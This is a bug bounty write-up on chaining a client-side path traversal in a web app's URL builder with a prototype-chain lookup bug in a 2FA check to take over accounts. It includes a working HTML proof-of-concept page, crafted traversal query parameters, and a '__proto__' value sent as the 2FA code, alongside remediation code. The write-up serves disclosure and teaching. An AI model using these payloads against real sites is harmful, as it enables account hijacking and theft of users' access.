$15k - CSPT to full account takeover, then 2FA bypass via the prototype chain
A client-side path traversal in the front-end's URL builder turned into arbitrary PUT/DELETE on the API, then chained with an inherited-property lookup bug to bypass 2FA
One bug rarely gets you all the way. This one did - but not the way I planned. A Client-Side Path Traversal (CSPT) in the front-end’s URL builder let me turn a team-invite link feature into an arbitrary PUT and DELETE against any API endpoint, which is enough to rewrite a victim’s email address using /api/v2/user, then reset the password, and sign in. That should have been the end of it. But the target had SMS-based 2FA enabled, every trick I knew bounced, and I sat with a working takeover I couldn’t finish. More about how I bypassed it and built the full attack chain in this writeup.
PrimitiveThe CSPT
While doing recon on a bug bounty target, I ran gau and noticed the account settings page had a URL with an action=team-invite parameter. It looked interesting to me, when I visited it sent authenticated PUT request
https://redacted/account/settings?action=team-invite&method=1&inviteId=123&teamId=8926641
Which results in:
PUT /api/v2/teams/8926641/invites/123 HTTP/1.1
Host: redacted
Cookie: ...
For more context, I jumped to the Initiator tab in Chrome DevTools to see the call stack. Walking it backward led to the bundle at /static/js/main.0678a7911f9e7ea0257c.js. Using the debugger, I found that handleTeamInvite was the handler stitching the URL together:
That place didn’t had any validation and all params passed from query params was passed to URL concatenation
The handler reads method, inviteId, and teamId from window.location.search and feeds them into two downstream builders:
Stripped down, both the PUT and DELETE builders end up doing this:
url: "/api/v2/teams/" + teamId + "/invites/" + inviteId
Given teamId=../../../api/v2/user%3femail=attacker%40example.com%26a=a and inviteId=../, the concatenation collapses to:
/api/v2/teams/../../../api/v2/user?email=attacker@example.com&a=a/invites/../
…which the browser normalises to:
/api/v2/user?email=attacker@example.com&a=a/invites/../
The trailing /invites/../ is harmless padding - it’s cleaned up by URL normalisation. The method stays PUT. The body is empty. And thanks god, the server happily accepts query-string parameters as the user profile patch request params.
PoCTriggering the email change
The attacker hosts a minimal page that opens a new tab at the crafted URL under the victim’s authenticated session:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Account Takeover PoC</title>
</head>
<body>
<input id="email" type="email" placeholder="new victim email" />
<button onclick="run()">change victim email</button>
<script>
function run() {
const { value } = document.getElementById('email');
const url =
'https://redacted/account/settings' +
'?action=team-invite' +
'&method=1' +
'&inviteId=../' +
'&teamId=../../../api/v2/user%3femail=' + encodeURIComponent(value) +
'%26a=a';
window.open(url, '_blank').blur();
}
</script>
</body>
</html>
Parameters to notice:
method=1is the front-end’s internal token forPUT.method=2switches the builder toDELETE, which is working the same but on endpointsDELETE /api/v2/*.teamIdis where the payload lives.%3fis?,%26is&- both encoded so the initialURLSearchParams.get('teamId')returns the literal string, and the second parse (when the browser issues the request) treats them as URL separators.&a=ais filler to park the trailing/invites/../suffix in an ignored query param.
When the victim visits PoC script it sends the following PUT request:
I thought from here the rest would be mechanical: the attacker owns the account’s email, triggers a password reset to their own inbox, sets a new password, and signs in.
WallThe 2FA wall
Happy to have a working account takeover, I went to sign in to my test account to confirm the chain end-to-end. The password went through, but instead of a session the server came back with a 2FA prompt. GG…
I tried many different techniques to sign-in but every one of them came back with auth.code_invalid error. At this point I had a working account takeover I couldn’t finish.
A few meditating a bit on this problem I had idea to try Prototype Pollution attack vectors, since the server was using Express.js. But non of them worked too. Then I though what if we try to use just try paste __proto__ into X-2FA-Code, I sent the request, and got a session token back!
WhyBut why __proto__ can bypass the check?
Using a black-box method I reproduced the same behaviour locally. From there I could continue investigating.
This is not prototype pollution - nothing on the server is mutated. It’s a read-side issue: a plain JavaScript object used as a lookup table, a gate of if (obj[key]), and every key that lives on Object.prototype resolving truthy - no matter what the developer stored.
the walkthrough below steps through the vulnerable pattern, what [[Get]] returns when the chain walk resolves an inherited name, and the four ways to make it stop.
prototype chain auth bypass
the vulnerable 2fa route
i belive the backend looked something like this.
const pendingCodes = {}; // { "482916": userId }
// issue otp
function issueOTP(userId) {
const code = generateRandom6Digit();
pendingCodes[code] = userId;
sendSMS(userId, code);
}
// verify otp
app.post('/api/v2/auth/login', (req, res) => {
const code = req.header('X-2FA-Code');
if (pendingCodes[code]) { // vulnerability
const userId = pendingCodes[code];
grantSession(userId, res);
} else {
res.status(401).json({ error: 'invalid code' });
}
});pendingCodes[code] invokes the ordinary [[Get]] algorithm, which walks the prototype chain - not just own keys
the attack request
the attacker sends __proto__ as the X-2FA-Code header value.
POST /api/v2/auth/login HTTP/1.1
Host: target.com
Content-Type: application/json
X-2FA-Code: __proto__Normal flow
X-2FA-Code: 482916
pendingCodes["482916"]
// -> "user_abc" (truthy)
// -> session granted to user_abcattacker
X-2FA-Code: __proto__
pendingCodes["__proto__"]
// -> Object.prototype (truthy)
// -> auth check passesinherited properties on every object
every plain object inherits from Object.prototype. the
keys below exist on {} even when the developer set nothing
- and each resolves to a truthy value.
> Object.getOwnPropertyNames(Object.prototype)[
'constructor',
'__defineGetter__',
'__defineSetter__',
'hasOwnProperty',
'__lookupGetter__',
'__lookupSetter__',
'isPrototypeOf',
'propertyIsEnumerable',
'toString',
'valueOf',
'__proto__',
'toLocaleString'
]%Object.prototype% ecma262 (spec
§20.1.3)
how [[Get]] walks the prototype chain
pendingCodes[code] is a MemberExpression. at runtime
it evaluates the ordinary [[Get]] algorithm defined by ecmascript.
Object.prototype is truthy, not because
the otp is valid
const pendingCodes = {};
pendingCodes["__proto__"]
// -> {} (Object.prototype) - truthy
pendingCodes["toString"]
// -> [Function: toString] - truthy
pendingCodes["constructor"]
// -> [Function: Object] - truthy
!!pendingCodes["__proto__"]
// -> true (what the if() evaluates)fixes that aren't fixes
three common "fixes" look safer but still walk the chain: in, Reflect.has, and !== undefined. all delegate to the same recursive
algorithms: [[Get]] or [[HasProperty]].
// all three reduce to [[Get]] or [[HasProperty]] on the prototype chain:
if (code in pendingCodes) { ... } // §13.10.1 -> [[HasProperty]]
if (Reflect.has(pendingCodes, code)) { ... } // §28.1.8 -> [[HasProperty]]
if (pendingCodes[code] !== undefined) { ... } // -> [[Get]]
// payload = "toString" still passes every one of them.
in (§13.10.1) and Reflect.has (§28.1.8) both reduce
to [[HasProperty]] - which recurses at step 4, identically to
[[Get]] impact and variants
the same primitive applies wherever a plain object is used as a lookup with a truthy check - session stores, rate limiters, authorization gates.
const pendingCodes = [];
// arrays inherit from Array.prototype -> Object.prototype,
// so the same keys resolve to truthy values on any [] too.
pendingCodes["__proto__"]
// -> [] (Array.prototype) - truthy
pendingCodes["constructor"]
// -> [Function: Array] - truthy
pendingCodes["toString"]
// -> [Function: toString] - truthy
pendingCodes["map"]
// -> [Function: map] - truthy (Array.prototype method)
pendingCodes["filter"]
// -> [Function: filter] - truthy (Array.prototype method)
pendingCodes["length"]
// -> 0 - falsy (own property on empty array)
// but once the array has items, length is truthy too:
// [1]["length"] -> 1 - truthy
...
other vulnerable patterns
// session store
const SESSIONS = {};
if (SESSIONS[token]) { ... }
// -> Authorization: toString
// rate limiter
const attempts = {};
if (attempts[ip]) { ... }
// -> X-Forwarded-For: __proto__
// feature flag
const flags = {};
if (flags[name]) { ... }
// -> ?feature=constructorremediation
if you for some reason need a plain object as a lookup table, here are four approaches. each either keeps the read on the own slot (fix 1, 4) or removes the prototype chain entirely (fix 2, 3)
app.post('/api/v2/auth/login', (req, res) => {
const code = req.header('X-2FA-Code');
if (Object.hasOwn(pendingCodes, code)) { // §20.1.2.14 -> §7.3.12
grantSession(pendingCodes[code], res);
}
});
Object.hasOwn exists precisely because obj.hasOwnProperty is shadowable
const pendingCodes = Object.create(null); // §10.1.12 -> [[Prototype]] = null
pendingCodes["__proto__"] // undefined
pendingCodes["toString"] // undefined
pendingCodes["constructor"] // undefinedtoString, so watch out for coercion sites
const pendingCodes = new Map(); // §24.1.3 -> [[MapData]] slot
pendingCodes.set(code, userId);
pendingCodes.has(code); // iterates [[MapData]], no [[Get]] at all
pendingCodes.get(code); // no prototype chainMap.has and Map.get iterate the [[MapData]] slot, never [[Get]] const pendingCodes = new Proxy({}, {
has(t, k) { return Object.hasOwn(t, k); },
get(t, k, r) { return Object.hasOwn(t, k) ? Reflect.get(t, k, r) : undefined; },
});
// §10.5: the proxy handlers intercept [[Get]] and [[HasProperty]] before
// OrdinaryGet / OrdinaryHasProperty would run, so inherited keys are
// filtered out at the boundary and the chain is never consulted.[[Get]] and [[HasProperty]] at the boundary
- valid for hardening an existing store without replacing the data structure
ChainHow the two primitives compose
Each bug alone is bounded. The CSPT can’t set a password directly - only patch the profile - but that’s enough to move the victim’s email to one the attacker owns. The 2FA bypass, alone, still needs a valid username and password. Stacked, the gap closes:
- CSPT rewrites the victim’s email to one the attacker owns.
- Password reset on the service does the work from there - the reset link arrives in the attacker’s inbox and the attacker picks the new password.
- Prototype-chain 2FA bypass clears the last gate when the attacker tries to sign in with the password they just set.
The victim only needs to load the attacker’s page.
ImpactImpact
-
Full account takeover on page load. Any authenticated victim who opens the PoC has their primary email replaced under their own session. Every signed-in user is a one-click target.
-
2FA bypass. Sending
__proto__as the 2FA code skips the check entirely and allows attacker to gain a session - what leads to full access to account. -
Bounty: $15,000